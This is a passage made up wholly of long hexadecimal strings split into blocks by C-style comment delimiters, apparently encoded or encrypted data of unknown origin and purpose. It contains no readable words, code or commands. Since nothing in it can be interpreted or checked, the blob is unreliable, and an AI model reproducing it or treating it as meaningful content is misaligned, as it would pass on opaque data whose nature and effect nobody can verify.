4e41501282a6495318ba94ee95672e4ac513ce9c103a354b089fc29357637208c832698d78b68744907f1af462a38ed95657b5ae2c6bbabb0889b20390c5edf24d365e522da7061eb41d4d089d5993c22c46811ffc8f6ce225f5c79f6892158c224903b00488bb4d2c5b1133b153e38166cd1091e91ce7a305aac103fa8bfb25ff7c60be983b46d49f2d665d39698d5e3e81dcc9f8f3b1bb2074797010a6c3ed3955d59b6ebf8137af5f7b86ca52ab440246880a6bdc1627e07d77239dffa8b2a4f469bc3ba4b4885a87b9f74a5c404838064d28fac2899812b92aa5fc8d3e3fe1c4bad4a09c57c61ddc79b4117bd487bc410120cc48c3e414986df32d0b76da9c487e41d3326aed822e77dbf68b3280bb0d5cd6d8267cb7e872bd564e00cc63d346b020c84e8f51fda1c38693bea39bb64c708ec52f86e6cf35a01c10b6977546a862e92cb1998d26c5faa0914b68dac56dd478733f41c637bd493ecc5ae86ebbb16b86cc29ff80e2627d264fd253ffb7f96eaed094640e5ff4d3efe3ba93a65b20c9ab061c9e262089db46e955d6fb6144ef579b5e84d581c970735ee3c3d9df830c3828d2e7c6f6a01e9e6b3f2b727965f6b879d23397a83267997ee1ef3b77060f88c6609f663bc992441f5625541bd7b105596700e4f9984d6c5f06fc15359b6dcc123128cff80e605f71b17f92fcfc94612427620c96efffa1dd4a9b169c39a43b6a177579fd251d0569706ab82b117936526a9faf6e3aa8228bb0a6ef43625cd76ec12f9cda5104af33afca7e197e7c88486986a2210854dac741c507d37241716bebb629a494ec7d8d20ffcdea1031e19e07a43a1622f0ed824fe8ddf4ad54bcc7d225c12b394467cd19a0e47170c839f74eea4fe6c9060596c7e223f6a5e84e2dd7d783268f17b08ca00a16c1fb4f5edb9ac730f188578ce86c25e43279a6f51e93db07a31e6ca7dde526014f25bd7df58c9fda662ea661da8feda5b0073223e0476e3e0bfae9cd66b93c1e08c9e97e2531c026ea9aeec127ef576a941327e09d65cf0867078540ad284943656d907810b0fe945350d2ff9798ce7701fab95e363eb7ba9179b6e1b1146f34f45fa2eb01607e5ab939b449df1b9080d5be3634ac1bb3ec86f74fc51e51a977b75c9a2b97512b13624260762cc62ea76cc22b46282254c542fbf7c3249a0f3a538a2ffafd23ffb66c27e0cb1d5a7709be63296134e30adf0fa016b9df3cd4f0a7c7b8bf1441edd55de79d3d3e6ea2f24b7e7e199f402c0757259c999008418d12bb9250f212*/
/*9312d714d73473a3bb257baf6abd6fb62526c5e6bdf5c16137e686e7c3e8532b2f895696503f5748c4d2dadb89eb1f31765068449219b97b06e6af95955b27c55f7aa60980a7361c36bddbb168c7b86155c4ac30355638cb387879f38957aca5a92a4ac0e161937ed7fe14280e8d8e4be5b6b2cd2df1c1254e1e6f3cf7e0342298021e599121060247d5c718bb0bc28ffc62f2d3228fe543bbe80941d2eae00f84e48c6e63583b0927dcc65ec3610aaadf8e6f23b1897baea9797d5a73a856c908c41665451324bf1f6581640bd3f1f91ee7173fce2287512dec6fe8f0ba44b0851040f27a4eface71d91f1b334a17805787fdb64d1accca8d035c8d8acb00dc0449605b716c1b86132e9df83741dd9bbc73d64ae488353e9b60af17202c13692c9a1c1b6b14e0f9bc0904f37d086df38d52c4934406edacf7c97280272c5fd82dd0755c66b0f69d006b92dba80cb6890cfdc73f51bd862098d401eb38978f55890153779ea4c8fd8237fd43b39dc02b087d427536721e3444f5e5e4de78d521457117822d31a3990fa740cb7f19d551de4d7aa1d085625bfd54212f5729fee0542119eed07982761e89b7c7e03b3fa518476966b91143aeba2a21df16b597c3059e07e41c39d4af559a1c936e727e03a2d78f09e4a5dc8ea1e26583c9cc4eadbe6a172296530b907de88760f50d524556a68b3443eb0deccaa531210e4672de17a777a4861f79abfd3d6102a4bf9d8cf46cab756326374fac65feadc883f42cb13bec900a0e403ccdcfe712cdb8c70f4269723d371b3dcd6da81005e06d7f7c1e0d1374d6f9d4d99d2dfd56dfb5d8516933309b9dfdb84aa9ef5e8105519d8bcacd4392d251a15a7e7872d332215b8f7e9e69f15cfcd9d6ab1714d54cfbe34adb856dac1fc8941058f54abc2c28c8c2c4d423751236224d6204c078c79cd4ef08ae753f02de4d514ad2ff5d6d9852f19699eb9ec08efc7c5677b6dd942ea900a7b36ff74d409fa757bebd6f9acaa88fc6ad49c9179beaf0deb2bae337092447aa529ec0ea8f3b62290e117ae1740035718791601d2a44e196f6b3c9e3d9a09e030b94a9ea9b178069ab72254d725ab16db79ef1502ed855cafb2cd648af4cd839e1eeefdf656d80e0313853d24e79c8f1e101a2fce565085728df8b2fd46fa8d00f8207114f8d6d22e91e005156f965094b8156e6e5ecb3b692a468e7c270c595caddcd8af3b1dd69680c4e5f1cc7aaedbbd3839f3ffe8207d7804ea015e9f707aedec8c0569e3f066909293392512ba4f7a3851ad5de17c9ccbb4b40c0fffdb6704e297c90a31d24a8fadf4c89e816c7077c67474557982fb64cef3e486b85953cf90052872bbb94f24184db78002b67b853d600802fd8af4e704830c9b0ecbfebd1eb91ab57799240fa83647ed886525699c8257cc35f689efb73a961c1a5cf6782942ef07857c731b11ad62bb53e83adfa03d2da1c53c96155a1d1f82af90f25d6b0316fdbe10c421ac83332207e94ee176b6a4ca5e9aa394e77d47e7b96e6d4c37b7b50ebf72396d20e0127635f0260dd5d6edbef37b6f89a86db3067563ad91bd8fcaa4d261d26487d85e16f5d14e454f9241df24f02dfcc6ccf616d2e74ad09bda2a8bf387b1842edae5f57b96665b83d6532ba21b44c706e128b640d646812f9cce0c19fea9416d2507efebaecfb0c1c79ea60c30199ba8fd3165929f3db6a2b054859189f65694c78fef34d11d74b318b4401ccc0609d3248586019f51f241a714ce1931c1fcd46d9eff745616a7560fd190be71979c0fa47592b139ce965099d582f998e9da511302b3833f97a00d6ff909bb4f50e7bf9f7915e79705f02a440cd4fd1118e59c103f2cbad2cbe9136dfef919060286c9eb4f65db58666a9ed7d9f776cb0852d53516e5e63a4184caec1d6b28df14a0fbdf8d7c1b1e44e71a3c4f957a4373f984f1d60f83767cb6997b3c4eb70c435a544dcffa64360c309d2165e677ba4466c545a9e0c4b216bbbf5e7e6ee3d32123ac46594c99dd71853a2c744a0a4b535fc9390d9ae161efa9c7643569500a5eab7731cc4b8769735cc16242197d8b5807be5a6338a7e33794b85db802ae3f8338b70b8dfb2c1db92c59d1d8033cee6a81cf7ee51b2eabfc9a03d798d360f8b668da88a5cdd62754a4fbe660762cd5e613afeea17b0fc1583ecd95e0cfde775e401233d00f07c7d36aa0effad3d35e5a34ddfe9164d18d5ef8dfe0dbe3cbfa80ef2ae20986e8210609afefc5152a3013129543d5fd8f2152850d291250f194c98ced123273f4ca0bc92fadac7655c00e87f3dfc54a75075c30d1d43f5ab910a8833229bdb7bfbded5939f9280f2a2da548a345da8d8ca7b1c54e13089ab17b530eb4cd74ac987c10ca0d11e883beb492719190b59b4b5920aeab9c2b978c473ebdd61183956d330a236142c135cf69ce3233ea70857a2bc628b8b7fccc39a9ba14627283ae959c2a2bc84ab5c3004fb4b41197d75cd69058e0164f6ad808d4b58a45399eca337e7fd6822fb47bd365a3804718254c8b038acd072bb07e1aa026f01c086d178602bc8a13dad866c47f2118af9a93b807991663328dc2d9d7413f305749f7b245ad8c546a5bc10f9586bb28d7bfe8e92052fdeff857a2b737dfa54ded9506cd5834c8febef34046e9457daeb18bf682391460a54b7e4643c4be9a556c37b758d1e815661bb70b832562a8dbb29eab21c89f464841cc0c9fb4092e591d6a7714d693b46a4af29502ef8dc3a4e24e0569738bf27a462b6bdf7747935d6d023b5f85b397dd948cdb7153591b5d4ffe7fd1326*/
/*f0acd9edf1ba83068debd904f1a700e567e0fed806bdd27de27cc73107f50b40077325980fae1d446f60bd07bb65e1fa198cd03c3e404c1741f2e12bc6c1dcdb703b347c2320f4c204c1265f9bafaa0c47e6fae8cc51334877f2fbce35f712fd88b73cb1937b1d49a5e3084d497b2fccb3ae888d3c97242885bd0fe71a639d161918fdef01e5741675923d31302130d3d327fa02676c1d2332b95879a390717409514d5f10098592e21548558c8f378ce92bf6f9b3a635b7f6220355f62b4ad6b17e2cc8d1bbd3ad1b7086db18ddc88e7d8f7fb9bff203e827dded3d4c83814137bbe9a2da60354be5a74cc465df417ef10343b63efb96a4ec7deb597a417907c8d3d7eda4eb831b3bebfa8a4dfd4039174d5be77b35c8b36f5159e25d8dd27ade4f22ff44706d3353902e8fc5f308beaed373d4383135d2de4fb7ed0c5eb711c5de56e84f02e80f8c6974dfc052550f6e90ee7b360cbb638a565a8d5f4148ad2a13bc44a6d963c9162f73f426f31f26aae858110949f654a3aca1ede9a4a6b418105b18902c8514312d9fbc9bab060cf5a2d214c4a638bccbd9cae10846dd969346ce016ee667de5b4d00d567e7b6d485674644697fdb17efd919fee3230faa0179d2379307f7f1af0e848b92376b9c897177ca0d85017c479e6ec8dcdc5ce339a2d4811db42e56e901fd2d1fa84aac81c195276ea41db57c993ca261925df79207c59c7cd661c1eef6148984a9c0dc68f26a9ba129c2d7db393d1bfa25ecaada9976627eb7e917672c5dcd01f07c4e7cf98423bc29e5d8a91a042e36eff428253ca91e4cc2c714e92f0602bbe846481ec2c38b917ab28ec96ef1b78ed1eb5dd1c2261f68c2990b9d6df98a5864a0607198fb37cc72594c8bac90bf264a030639738d3b4909b73b3221ef83246177344d96d95cbd50e35905af83410de53ea87e68cff919719685d1061b8ba93ebdc86f8fc09bddd5871c5ce7f8807132ac6b97a4319d7df347d787270f0f05a48f99f7c320dfa6af9fe3fdfe9e7dd193a5b548fe8a65ea48de7eae9d7b313c10f9fdf081b6a268c4938a0aa377deada13109402c0b548d96de2b2a47917e2c1d41f84fb8e904dd527575551146484533acc20157b3f18ff7685d1525eeb8bacb340e85a429cde32e7a20944844764b65d4a8b5c0bd0b2eda95ff2028fc92bf0d475a920dc19a91b4873871dc8abe8fc3fa8dab3204c5dae52d0c2a62280a8d9ea01cd9aba49fbc2941c3d01276e3bf169d77d1c703271aa18be3d32955361aa87a61d0afa9f5717e4cf4c2b9e9cae190c7abb0605dd2f987d1c0d1f09b6a3dacda48b051d00631ae885a443d40b6232cda49838b54b95283e8d53a7c6ec8d7373fcd44cbc55ce9db7906739d079496b2f4b2b389f0fbe4a03b816ca1b0f860e5c95e3322212fc32adddde543dfa436090d99ce0bbd3667e46b19145206d5c44dd7f53f22bccf56482a76a22e8ceaba3bd5e7f6cf01368b7245998fc5032b7f280e3b9e3acd9579ef2d4c45baf159914498a7e621d8c36fbf8065b32e97ca035d3cd680fe9e041f27653d620b23450f1f0234b342c4da4f67405d821aac60af89d89651afe61788e35363bf81407812b8e84cda2076f353b031c00370e75eb00f2f614210d463cb809cd43e5fad0236075b4a63d9968e97f81f40fdfb56169fe01f3f79fa68660c98bcde1fb0e16a6c89e4fd848a8c4e46af0e899d8cd788a6360b2ccedb733660f0df763a4a2cfa5a91f486b6615730272e688d36ed8a141a72993cc5731f885b8c504241f41a43638860c6e47d27b5d2dabcbd05df42d7db8a8398b6f4d6afac1f810782b8a1ae274ca556cb3a243b5d0330f316c8c84fb010d7fadbe191dc32a757c9e4241033eb087ae65050ac4c4ef2576e79ecabd7a8f804ac14cebf6a28ff90f1bcce5ac9a226a49c6be69c0814aa138ede87934b648f4e508c5d6a96e4afac1a3ee51c42f688b5b868b205358454b495a63fa37730799e6a37a216264a5aff81ad45dcdf9f390d3485f11f0e61d2fc3f8e613f43bc167caf4c520d985f6433d7a7414eeff33d806e6a84c490eea41a07b0f90dc5d91df099806fbc06f891a0e474e98aecc3382a093d05b477dd313bf1453f3c1dafb6b9e10833e66235fa24748d5dab4c79ef3fa275a1646445c0fb260e05613a8b71b9409ef3d772c939324e3d9af04d60c9c3b8991b8bc43a9e16a7133636f0e66796b7fb062efc942c7151af3ed4a23429fb3b178a3bacb57444a16538164f5c17c46f0634a2bca654ed4fbfb0ca04a21cceadbd86a94851ef5e37c68a0afdbda0c0d41f425ca8ce38f7c53303ccd03e0af9cd3fa2d5ac15bc3126b79249b84896228e39d71074d9e76b16436da82b4f546e56097eb259f50c4d81357c3333fca70b0925aa704e41a65bb977d75f438cd01a9d1336a9389453e20b9b8f89f913d2c392e5d9859906c0ae8bd144ef68675a78234b03a32643ba466a74398eaaf6606682fee685b0fb4bd1adf75f638417a4d64b73babfb4891c686a6942c4d07bbaf9acf8e105d19756a8e736358275fc9d5ccf0a0bfdd59bcfd69eef48c09165f08d19dd7037e0587c0a99ab418bcb73a4085804dbe73678fb393cddf4ad89495248d6b1ac3545e11d72acb8e7503723da51ef40ca026f4548e3f864779f4fc165c2963611480657be54408a4edb0bb6056fd7c697b8cd219b923a4fbb00dfd17dd443e06e3e6aead944fd8124dedb24a205056d1a9ca7faba7a7c951f15371c5cf73962da704ef2d7348eb8f73f00f7cd253321ecaaf28f2457bb7668caf6c00561ed*/
/*154e90d13e02addd11e49a7331fe22cf66aa8493932dd6a9f9e081c027afa3392aab4aa27eb51e1cc53775bb08829ba775214b002400b01348ceac7a2fd621d963abbbc183b92b1b6569c510c498f5215f876e93af2d2ee61add2c5ecc53c62a00aea85ddd8dedcab4ea4463fb607641ca86724ac6466d6c6bc8420a91f234adbd73573f2afec1878388120de38603d30e2cc1d7b537e2c509d0e4086cd33283a40fbaf2396a05ad2f41af4512da4a1d36643e935dde80def65c8cef847cc1c4e7c7fe89ee1459d4f1a57d6122cefe163b38bd119bed66e00c6b11f8a3fb2c44d1056210d397d936bc88ef56fde96c66d8394d1d615426937673e70759ec2f2a731e9e3fc90d861f5a9653db9566269b50e77f46cae6fd089fdfb7c7da1eb6a43ea27467929d0c96a8bd03682103841bea39a6b4fe0df9444145de3d5ed64df1b4911342c924a4b6468ecbe37dbb586d35c7fbee01f9dab163aee793a11de0bcdc9bfec7aace602c2c336b617b5840c4b06a19e92994c0fa54671224c395444631c6b1bb4e0c4f8b522d4a321a30ad12505e8594b87ae8f0eab08b761db02db36ee708f22f506561a362f46d80b9ddc1011dfdc38a9be2566d18d595ca2958d3e255f6091d5c8750e257becb0682a715dca95f23a6a4e38a8758fefa5a401dff27737c6d8e3b499b5b0c779bc0eb409e0887993306f1799e1a6d6d0e50e786060411e6fde9cba95dd4b942ada402f583ef0969e77af5b3670db7b1185a0e8b2f652f3706949be0ec3f2cef17cf41474e0f470b333f58168f81eac755cb3f79c35f0f76d6ca522c8342d1189e344f531687d635acd0dd15402d194bb0a705578c5d8ab26a31e55bc15fc12b1c0975773c17741a37f863c4f9570f1e83415398fbaaf60f6cabd3399f7f22505c3f51d1ea032ca7bc31d7f56a846417926901ed3fbe63adaf830896cbdb65aacbc3d31352e7976e9330fd5f4a600660d39c56ac470b9559b99ae15133df862a6194f2fd5b40875ad9442040c237ee537257ebab0654c83effa9fdc55a480dc81d3abbfc4aa457b39a871c090fd27d3d977f0b8bebd3349f57840da5c99d49e0723a05c3b547ec14d38a738e604d99035dd3d0562aa93c4ebc4dbbd02d005de1af5d35dedd316dfe402f30a5126b92dccb2fad587af281c921d7a81f1f5dc2ba65a562847157ab2345eec8ab1327f44dea2f7521e18dac1329091fcee21f33d270f1f3e992b86e9ded185e9a0d3c8a27e9b40c6b716ae9b5d61c967591907a801cd279d950b43a6dd1c670f14905b3f8be5c8537f82c89d0d8015c0dc65cdb7aa665b01154c999faf0eef5330b905489bd5bcddc1e3fc3462fc93db29b82e242a8da5c5b3aec99aa31f14a2337cb7bc4c4a867e5b3a626d0ff713ff6112726a18974f1745c10ab7863d0ecefc3add0fa1690bedb66443eed111bcc1e7a29ff7bc5cafa30598d7e70a061e213dc29eb9549bb00f20f8ad7046207bede5b23ff9fb8ffd8bf0655156a5eb967d0c27130f6da8ae5b4ca40ac0bc46853ba6567fd3d6f6d6182102d91c08c1d812a18aa956d5fc6be6fb1623bf4cb460422ba3f04932e4cbaa0668f3bcb787f81e1db9e02a8a2c12ff141f130ab14e2f3507766bc84383a2ef427866a8e1787f6077e1dc70b42fa6e415178b639511110847b2dee5f0b14361dfff7227dff31f088ae6960980a1239a9f0dbfd3513fd8b126fcd6488dec3a878355afe498d93db0966307547a142007b8399cc4593d8a15ae8c5da752ad9964087de3294b9db704fa9fc7d681ec28714989262f6f493bcb88d96776de0a712fb6ee592ac2c672d0975a82b03ec03ec8685cb97bf028bb3a0fd3f974735c83af71bddd26a3e0efcd85df01a14085ec93783eb06746833f9fa650b7005050ed7d5b38124d3023e9449c34659f2c3fbba8730d4d5e67f1f058ffd305f844008913a17fc58c6b9f68c7add341b8a6c63e6ca60d515a79ea13d8f36bd8378f84e4faefbe11daab1b2d3e1c2b2f87ec871c2bddb338657db84b8e090b5a2d53f6f5fcf3d1eb5e749806c43574255deba15f70f69c0fc90e339966b3f04fb73e37171424378bc6070497267d7febcb0e6f386446f74c02ba08d8ba9cf48165fb8f9a69966a9ac22ccfa9d882d06c94fa692c3c703f1ba668349bcdc967109319d2da7bdd9eb0de48d861e781d4f3978d5e091fc1e9ce37930823559cd724541047f93b8eb81fea9f70dc8ff0ff26b31ae86cdfb7bffd909143cb035880981ed87620949e1f409a3f97e1a804e475a436f95b423bd4110c211593b92cc4a17dfae79b58cdbbcfbf61cd98244a286af42c105886e252c9c072da0b3233f1ff2c3823b25295b3b143c1b4ec63ccfaf542f62ccb36f2914c107e9a165ce4e14ae572326f42174d049594d3bea4dc85db21f115e59a75b5eb9608013321f9e20f3b22264d6c0cf410e76a6725c085512bd9797d5b0a413a64b910c2b6e1586daf049b850965b7bad72cbbd8c2759f6b4a3d6c7956fb1fd8d0679303b2479a75aa2aac6645e889a3295c9a14e702d2e7f287ba74b32af3bfcf361f6ba51e894e81e73a0ad2267d3a54584a204a7ebb9d3bba0b4efdb175f8364419ca2cbb4f0b7fe8980c37b6fa98f89c32371e4d53741d8a6e9e90ccf5e8bb90ffa3feec9fd73628dfada2076dbf0475ac14ac386d10855aa512106264706e040b178cd1118db7674ccf23786bcc1d2de8f5cc4ce40c776d507e0b0c17f27bd46f11b639eb958e8eea2640b441edc43e1b31b7ac4df4eeebdb22a145eedba8e5964085bc0e387454e2f62654176*/
/*068b5ad187c0541acc2200b8881c493ea52854a147091039f5ed81f8f246962ac0e62f1fb39e2e7c50949b861ce9eab93aa8c092af7882e716264d477d9323abc58edfec53727abf6e2b38c039edb7371350786519d43f42fad74c0f63ce93692e1cdb70e7408233eb62f00042160efdb2322ce353f809661eec4a88d637f77bf55303b6284dc384576acd6d12dfd14043ad47b3ffeb2d303c01048d774ad1078538c6dab184f3412f32f5a644edee3eff5b3b09a1fd65750956d9737c578abb6b30acb3760809f77827f3c59a90a2de996a641fed55e258fd9dd50da80b4bda0cddf457f61c6ee968d542a6ffabd6635921404b73c9924153284ca479fb39649c340bac8f48aeea0ef4421803b1239e5811bcb8b1da579a14b06178ba93a4bdd1470dbda35df2c20e54770b271314a5ec4205b7b42cd022024377b07c2b58272879b9244872bea1d4e68c28e514d8fb07e8f3fb09c495acb9fe12fafcc0a4bc03ab7d1d6be84e445344a8ab9cb6c0b0b43f0c457014f6b813a35b6cfacd6af084db039a366bbd41a0fccf14692a1b5bbb7349b953e52a5df778c60f813cfdc1d85897bee3875ead9effca40b1ef53b3f0621316f7d1b919461d39d2d5fe4ddeeaccaeb7d3fe0ba9335af9e7791b9ad2b08640b9699a2dd874977df7d15b3417b0c3611004e2fdedd79f287bf2c5b13f69e3efd4256483a3aece9a10166b992e5f0b86e532ddaee4cbed7c08655a5146b4fd04f29062fa30c73e4ec8c6d32d80dd7ec865eb2135def2eb1a54226e73cc08096e49081636a10787a00f19564d0352931d3bed7ddc503d692e0a6b7fac6204677d4ab34eda017ed6e609ea16b702cf4a7c25713faeab46c9eceb2406d0ba69b451f473133dc237853d81e04e5cace0083950cb93db604d90b04524e82ab21843c03d7cea3ce3c0d17f2b8060a07f2b3f2eaacfef10730a93c108e43c1f89df953eb69fe5c97c14ae1948ac89518f4668ac796a7c87588f473e61fbf9ef96b4c09ddcd3241517058f8228669dc8b7276f7bc830ae7a1db5239db96d4a15bf218f3b6d671558d3656f401197738a45bcbe5b9c40f84816726e5161712baa0ebd07390f593a6ecc83039b1949afede5741e468fa921da7fbffbc8d1bab946bd64d29a97f94644ff8067c047a80c4604727fd0d602e77b880070e565309cc5358d1f66e7d9223a7296ad2c8e49e2929740b779ef16d244bf73024310e99b89021588b68e4ba4194db3847fd5fe0306513c237299de9b47a01c5341a6d2fe5ad20f2274caf1f59d7abdba6e74ee39fb05492e363c1e2a8998b1e3be0d28d079d3b33d3ee96fc7c6db7cf7a82aef3dce7e10cbc2f2be608711f4f755ba748338470bd43ceed050c0e731c61f9773dd64f284fdace2a4bdfde96481ff99c5dc32065ac0c1a611bda127002f262ff822738f346dd42a3e4390ddaa8a8286a11b5d8c9d41d46bf381ead9c9e85f7c23ef0cb1e914ad40f1857385c09f2d22859d9724b8e3f9f0143d92c90b7982386cdb127e9951c23ab3e19f22929357c104559157e29a86f33de4b99e10aa7c80c5e265f768ea4569e441bdbc09583ecc91e1baf2677232693bf5692941e7a65c899c1c36b05574566d90a70bf80a78344754748f5cc99163d6ba478363e113fb56a9e53cbfafe1087fde9c112e3e572380b5eee173899ecd3d2160b1839101a039ece88f5dbec665376623b67188b1cb7c11b994083b978594c043ec01a20f1c04b47b84fa5d42e67e03b275543e816c56aaea915ce4600daba7f11c2acc3d072df8f7a4eaea5bb85968d1f457d935480e32023b9875c82f7e6b77b4462d4fe9d6b17dd32fe56b9b4f50c3ff41ba875874587992c820d1c49348a1a6855e71d681cf16db21af7b3589d9cbeb18f029cfa787218e9253b5ca9b80386be6d9789897aa092e9faae1d7820cc60dc799f650e34c47396d038ddef773fa0f50e4908383b7ea4d45192b0745899ca04517488e2e4fd7a35234b579806d4b1b9efdbcfe11eae30c53bb5ddda2139d055d39e8529c0981be3ffe4da05b2c9842c7df3518fac3644f0db937151e3d9cd546fcc9946615ed3fd6f70b3406402d88009c960c95feb0741030b922a848e3580023b0dfd8fdf0f2e6c27788d4e8a1f1679773e124a3e18f4e6b15f063d9dc9a8796bb55f4215368b2f5a127711ed58898c5f99276b75e2616626d0fd1e326b3c4daa037d5d61dc015b9798e3d6f427eeda088ade8d173e7cbd0696074958346dde2f3a5d8d4f3ea9a49392c05ea4e36a14118cf8f1c483a0a9db9ada0694e3f030a3a206c463ffbfc1c42966196258b722ff76411aeff29b6b2ec3963bdbff9f1e55286d1d0d2dbc513f7a1eac2f1cebf0339481957452f7e16fde72e9ba5a943af65565cfa51bac1da2f7fc85ab343a14a5cb3c730ad428f76aeb6549de53e7bd55fa6d034faf0a8f3b973b64524587cc1af69d29114ddc6d7ac5b477897f8999fffc20e0a069cd2dd9101902bd45e2540a83895a3df4499bbb4cb18a61b9bae6b3aaf3e5b491572aafb91891007ef00f272fed02abd455a4c5896e9eb6b8727f9c0a7dd5efcf0c42b338d8732a6397cc76c7b6aebdd1929be45ff354858ca6ef45f4696b64d4bd78f82cfbe6062aa78ef3c6f701b3567a9dc6df20ff1954ad51e5b617155722e2d7db04d67a39928d945928f1f3dd4f2948976420db1350ab1c0e85c5e6bf0f698f2020d4a75c4349c02fc7c323c1f3a8ae1d93ac011ffda3c559b851cb0e37f547e58a4ddbe89a0e2321aa074f05711dab78a925070f61299484d88b2b0c90c*/
/*9688cce6855465ea96f79510901c6801cbca0defacb409fa07f0c25357ac1af9a8c95e547b2469ed3cf1ba3cca8ab242516a1dfdfe7335a761870ddef0a6f20400caac2fa91935f7abf4ce952de9e5ca8f6e3d4118b462cceae06a89ce0b211621c42f1a172d233912c559a5aa106ab24bacfde2229e947c0ba5d8d2cca2d3911696b78886f21c3a54a2db86e97326a9328348e0e5b65933ff65e433018f16a36bd9f681d6c5c3c281cfe0ab2cf8c9553463c6be2e0999dfd1e111ff2f29eacec83c4380f8658c3025831c4c61fca506d602e6c7e4ec66a0e0e060a899a25cea77589c55bf99c0c5b10a20e4e363ef35efe0bd554656a7e3692879dede925b7a37b895525eaebb62f9f385a6159262329ab15b1bdf6f47cae7490b7d1672f53c402d705b0369b1b61c21eeb3ecca03383bcf58631a458b4809e55094543df359fb3236a55a645d6185f58622fad26aa4c9f088d01c0ecd1d580a17fbff0ab8d6d3511d6e4b3caa1d519ba4e2fa7abfbbba77f8349c488af34be2b4c1a496583a8566a1b29665b5885edeb6e3caf5a5c84425dcf880859effe4e78f93b0e4d74271012ae921d39675442ed7125b04a33943cb6335927513b5d742b9e173134c5e4a39c7e65f388324e65cb752ccbbfcf2f5f4e06288605b42eb1c1210bff2f81c5112a0244c95a33d18f5cf309ab32893c5d66f8a2002e199a891a4f02511a92744fd3f62707f34e6fcd20a68968249ed055d8999aaed681da6d48d013ee5e5e018f18d1a41cd6be0431cbdb399d008dc768694d1e7aabf6140e21a4a44bfc2b35f4b666e07c74e98f13ef99e3df43135d0782292d16b1f5211d50573e8ad4c8eaa1cbf0e14f2e0e1eac550916d0164d4ee459a3818fa3b301ae6ffdf9fdc4ba69f0a8f9c18c2ba9591d5dde1ee1ca84bab14a3e0d346a26e7889199df6a4fd8da27dbcaf0ea17ad8191f07ad5545f10f1d0ffe2fcd6968091819cb47c2ef6f14f699850e96c87f6c281ba4cbe58484e1229c504ac501270ae08c24376388069faf48de06afe461cb7b740de00a2a181f8890e40dbd2bf5942f4e09d798727d24a21e85ba07a6f90c31044db66270d80af55dbfba9678a2f69826c10cca32212b5cbb6b19b315b0714119254eae13d74694f2bb469a82f7c95870f9ad25afd9de5bc5b3eb4fba787e1a0c5b72a9c8c91acf211a6abe1e50a7f770a47ffea0e1e9fd00fe98677a085ea7178bc97cd300049aa53a44e0d00c2f8e6cdd1bc4ce4d93a234b995dceadfec764f68d14bb19c75911f62cc8345bc77b092bd7197bdef8a880c2b5c1783217e765f9cc6831de1573da493f0d0615ab9a78485d3f64c9028810e60925b72c74cce14c2ca039dbb8efd9db179fde94195cb469b338ed3d9cee95740e840228ef462d8a6c2c73a144dc8fbf448f2a5953b214131c69c1a097162d88b6c8ac3f9d9b773d46f1c4798baa31df757e840d2d61764ca8f936d3e19f343123e2a34214b3e5125235df2ab786e1dc29a8b23ded813176f85b5c0061fa580f99722db22f0beb96cf881e4617ae56c8f3b0e9f25f45529c3f4ffd422ae6135157447ceab70ca8284fa9abb16cb219c6e82293eac89582950b1007370cdc4d4ee6c81858bacfbdb69b05e87cd178603e588aa27ec5817f15ae5225b782f5dd22af175c309a2677d29bd0b13a06b257a629917051aa255c75aeff722b26d522b97e764a97bd4ede034e06e02a1a65a3c651f7dfebb8eb9441443b274db9f78de8e5feb79264f3c2c9bed8ea4d918836aed4b11ac7f89e4c0f727a024ac2324db85924c4c935f32c7f77e29b8edb54440dac5732bdc36c229821013761b0d76fcc68da23db3f50f42d8c48a83e8b3cac5d2a2ec4c06cce9962d1d2a1d101b462cda8aad1413078a8d4891e7bdd8926e24f6f8373d1970202439849e32328f96e6a474f6bb680e2928477ad57f2be230a9ddce381565ae5efdc75d4857fe9bb8de90b1cfe44c33c8629bbd6124376c5c434c2e655003f4e050a2499faa76cafaa9ef367aa56d86016b92de95f22f04a044c80c268f8e85af044a3213d9a8619c371d4bd8659089988f7158cace58665c77eed23f89d45f5112782c282ad89232ddb74620b4985759fc4bc2b33bd7cc3abcb10d0b9659ad4bf942230ab794f9e2f61d720dd51ddcd969f2a9103e964e05533e32debd2a0a43f53a4530c090bbf93c86307491ea354d435cce7d508bfef35668c015947469525d1c90185f6459edc8ece9ffae82169264e3676214d4d52cf22d1ada91736a3156b7552cb0fa9db02805fcc6542ac9605bac937d8ccb93e27b3bc4740693f566f667173a752c130f6f313b903901ee19f9c2cfe63bfb817efa7003c3eda02d8401cba5fc5105ca524ca560fbb10ef6172a4b702e6cac6df89ed4c6ab187b74504f849d723190b75f2602af015222fded94d2df04b70fd56e6a3cba719b6f995f54d0401ffd901508d1683dc2a0b9bde536239c30d2e8c093156259a3ac0d8df8819afbec4832f7eb56fb7ca970301ee1b0c711a43f16e9d65518910d27822ddfe52bbc27bdb79aa2cc14af8fe1e2b32bcabee4737ab69a56294ee338dc4a31afb9cc717c9555e0ccaf3ed83067835a386121d9ca4781f3cc4bf299a1dd13a86662a95c4910f62d740051135e1eb6f768d1b78c3a4d90385d2d68be76afb0833cf9d5f49a55d9399714853f3baed90b2c5719905d4e8c929472a4322bb1630d0cf3c60638237ea46f80a6213340813de91696b949c57d31cff47661f1286197192bc49d72c3fbebcc89a09a086a2a6d6949dd3fb54da877*/
/*128a1f57234eecc36946d8dec0c3edfef6dd1114ac6e894b6e01dd26aae9308bb9f796e62cb2293f991f3a7806a5c77b1a4f705ee046c056c3f4980a9600202a8728200215c3e07a8fa2d70ad75406723d4b8b3dd2164bc3e7345c5ca01f4a5376c13ffefce561d712ef9182c83a82c035c61faa031f608d8e33300528b3875eb5f28e5153140c58fb44702e0ad13c63a2f312bc87c5c2b683d7af4a183d19d18b42094d76c350198d4df7980740af833c70d876311f5ca721ee97456954530ef68627fdfde8754e158244355453ca62a3b6df6e6678ab88e73a5ab689cff2e0eb2745b1ef6d534c88f7bd02d9ac3c64a7074255a4de16d0b4986bd20832e0841dad80fa9e989a498fd76937b50808e353a6767bf3637907fbe41791f3a0f0d22254efbbc429cc3c8f110c63d631a40c6e8fe506e8e8376ddbf9e4c0c317ba129d8930004582a6d83c33c65acc4dee1468e4e848bbb328e9f50be998977788a09bc13859db0c1c765eb2b8db7a6d3910a721baf87360dc2ab051f24d977ba3b96a0f00c53ff12ad236232d2576353f244bd2e31b260d8db51776d12b041753e798b9ba7649060590b4c228bcd2c26d6fe3bff5e9ca483adfe570d2b97101fd86ace06cc8b98e672a22c9499c71ea83bca640f8055ddfde617efb88493edd8d8d825e95545cc3e6682277b348921217868cce03c6c15d507b0a308bca1d92e244e57d542787e27ce66a50dd2eb323ed06376544709c6ddd9b323cc75003e4fe28663f94b61a8ce830b265b293d42bb4fc1f